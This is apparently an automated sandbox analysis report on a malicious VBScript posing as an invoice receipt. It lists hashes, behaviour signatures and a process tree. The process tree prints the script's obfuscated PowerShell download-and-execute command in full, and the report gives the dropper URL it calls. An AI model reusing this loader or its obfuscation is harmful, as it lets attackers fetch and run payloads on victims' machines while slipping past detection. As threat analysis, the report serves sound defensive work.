ffec1862f56857ad722abbcb98be7af86f2cf0763371bcb40273f0d884157c32

Analysis

max time kernel
110s
max time network
125s
platform
windows10_x64
resource
win10v20210410
submitted
12/08/2021, 15:47

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General

Target
H6sj6c8Invoicereceipt.vbs
Size 730B
Sample210812-dert6faqpn
SHA256 ffec1862f56857ad722abbcb98be7af86f2cf0763371bcb40273f0d884157c32
MD5 ca109387930ae116b991ddefe1cf05b4
SHA1 7c181bfdf72d21074c012a609ccd8035b56ef4d5
SHA512 aefe3c9017074c8d22b6855aabb43b254474be2f1551cd5c7189bcdf4f747be50768aee0c32fe38e2c0b16868f095722cd523bb4021c392c83da26c89639545c
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://urgentjobsearch.com/bypass.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	1100	powershell.exe
17	1100	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3212	1100	WerFault.exe	74

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1100	powershell.exe
1100	powershell.exe
1100	powershell.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe
3212	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeDebugPrivilege	3212	WerFault.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3916 wrote to memory of 1100	3916	WScript.exe	74
PID 3916 wrote to memory of 1100	3916	WScript.exe	74

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\H6sj6c8Invoicereceipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP = 'http://urgentjobsearch.com/bypass.txt';$B = 'ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1100
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 1100 -s 2208
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3212

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1100-119-0x0000023A1A070000-0x0000023A1A071000-memory.dmp

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memory/1100-122-0x0000023A327A0000-0x0000023A327A1000-memory.dmp

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memory/1100-126-0x0000023A19FA0000-0x0000023A19FA2000-memory.dmp

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memory/1100-127-0x0000023A19FA3000-0x0000023A19FA5000-memory.dmp

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memory/1100-139-0x0000023A19FA6000-0x0000023A19FA8000-memory.dmp

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memory/1100-150-0x0000023A186F0000-0x0000023A1871A000-memory.dmp

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